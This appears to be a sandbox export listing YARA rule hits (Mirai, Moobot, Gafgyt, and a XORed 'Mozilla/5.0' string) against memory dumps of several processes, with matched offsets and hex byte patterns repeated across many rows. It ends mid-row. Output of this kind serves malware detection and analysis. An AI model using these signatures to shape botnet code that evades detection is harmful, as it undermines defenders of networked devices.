7254.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6770.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6770.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6770.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6770.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6627.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6770.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6770.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6949.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7190.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7051.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6282.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6282.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6282.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6282.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6282.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6282.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6817.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6817.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6817.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6817.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6817.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6817.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7037.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7037.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7037.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7037.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7037.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7037.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7387.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6859.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6859.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6859.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6859.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6859.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6859.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6474.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6474.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6474.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6474.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6474.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 